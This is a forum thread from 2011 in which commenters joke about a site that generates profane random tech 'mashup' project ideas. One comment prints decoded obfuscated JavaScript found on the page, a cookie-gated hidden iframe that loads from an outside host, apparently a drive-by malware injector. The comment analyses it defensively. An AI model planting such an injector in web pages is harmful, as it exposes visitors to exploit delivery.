mashup

December 7, 2011 11:58 AM

Get your sht together and get going with a fcking Fortran based music visualisation to replace HTML5 games and hook into NewsCloud via YouTube and Google Blog Search
posted by sgt.serenity (20 comments total)

I'm getting a virus alert from kaspersky, Sarge.
posted by charred husk at 12:03 PM on December 7, 2011

I am inordinately amused that it's also available as an iOS app.
posted by lekvar at 12:06 PM on December 7, 2011

Do it now, you asshle!
posted by Naberius at 12:06 PM on December 7, 2011

I'm getting a virus alert from kaspersky, Sarge.


Lucky you, I haven't heard anything from them in ages.
posted by sgt.serenity at 12:09 PM on December 7, 2011 [1 favorite]

YOU'RE BUILDING A FUCKING
KINECT MICROBLOGGING PLATFORM FOR AJAX, HTML5 AND RUBY


Y'know, I've been thinking about something along these lines...
posted by not_that_epiphanius at 12:09 PM on December 7, 2011 [2 favorites]

So basically, you just put the output from this in an email and collect the money from venture capitalists?
posted by WinnipegDragon at 12:28 PM on December 7, 2011 [4 favorites]

yes, though it helps to leave off the last line.
posted by You Can't Tip a Buick at 12:35 PM on December 7, 2011 [2 favorites]

Get your fucking CPU crunching on a
JavaScript powered LiveJournal website with Windows Live integration for Mac OSX

That breaches a load of fucking copyrights
posted by Navelgazer at 12:38 PM on December 7, 2011

LOCALLY EXECUTING PROCESSING MUSIC VISUALISATION FOR CHATTING AND SYNCING WITH GITHUB DATA

That's not a bad idea.
posted by Burhanistan at 12:46 PM on December 7, 2011

Make some coffee; you're building a fucking

C library for Slashdot (ported from AS3)

That's not going to fucking work

ed: This sounds like a real exchange.
posted by localroger at 12:47 PM on December 7, 2011

"Optimised Kinect AIR application powered by the Google Earth API"

Wait... so you could fly around Google Earth using Kinect, Superman-style? ...Hmm.
posted by oulipian at 12:55 PM on December 7, 2011

Don't need no UML diagram, just get cracking on a fucking HTML5 based vi.sualize.us and Tumblr mashup, designed for social blogging

Holy crap. That actually kinda sounds...right.
posted by Thorzdad at 1:07 PM on December 7, 2011

BREW A POT OF TEA; YOU'RE CODING A FUCKING
OPTIMISED, CROWDSOURCED LAST.FM SYNCING UTILITY POWERED BY FACEBOOK AND THE GOOGLE APP ENGINE C++ API


They make Google App Engine libraries for C++ now?
posted by mccarty.tim at 2:36 PM on December 7, 2011

THIS SHIT WILL BE TRENDING ON TWITTER - A FUCKING
LINGO BASED PLATFORM FOR RAPIDLY DEVELOPING MULTIPLAYER GAMES BASED ON FACEBOOK DATA

Hmm. You could make your friends who aren't playing into NPCs or monsters and go on D&D style campaigns.
posted by mccarty.tim at 2:37 PM on December 7, 2011 [1 favorite]

One of my Facebook friends got the kaspersky virus warning too. Apparently the message is "object infected HEUR:Trojan.Script.Iframer." Interesting...

There's a bit of funny looking obfuscated JS on the page. Poking around with it a bit, it seems to decode to:

if(document.cookie.indexOf('cookien=enabled')==-1){document.write("<div style="position: absolute; left: -1996px; top: -2999px;"><iframe width="40" height="40" src="http://chicknercx43.chickenkiller.com/i.php?go=1"></iframe></div>"))document.cookie='cookien=enabled'}

Fortunately, chicknercx43.chickenkiller.com comes back as a suspended account, so that page isn't actually serving anything, rendering the whole thing moot. If the site did exist, it probably contained another obfuscated script that would attempt to inject a Flash object, presumably one that exploits a known security vulnerability in the Flash Player (a good excuse to make sure your Flash Player is up to date).

What's odd is that exploit code is even present on the site, especially as the app doesn't really accept user input and so isn't vulnerable to some of the more common code injection paths. The script certainly doesn't appear in the version posted on github. I wonder if the host webserver was compromised by something else?
posted by zachlipton at 2:40 PM on December 7, 2011

viral Open Frameworks Firefox plugin for blogging and shopping with Facebook data

way too real to be funny.
posted by telstar at 3:12 PM on December 7, 2011

Someone needs to pipe these to Siri.
posted by newdaddy at 6:43 PM on December 7, 2011

MAKE SOME COFFEE; YOU'RE BUILDING A FUCKING
WEBSITE THAT GENERATES POETRY BASED ON DICTIONARY.COM DATA

Wait -- I think I can actually do this one.
posted by The Great Big Mulp at 7:49 PM on December 7, 2011

I think the funniest part is the word "mashup" to describe a series of projects that use a computer programming languages to process data.
posted by DU at 5:20 AM on December 8, 2011

All the text it uses is here;

http://whatthefuckismymashup.com/js/corpus.js
posted by newdaddy at 9:00 AM on December 9, 2011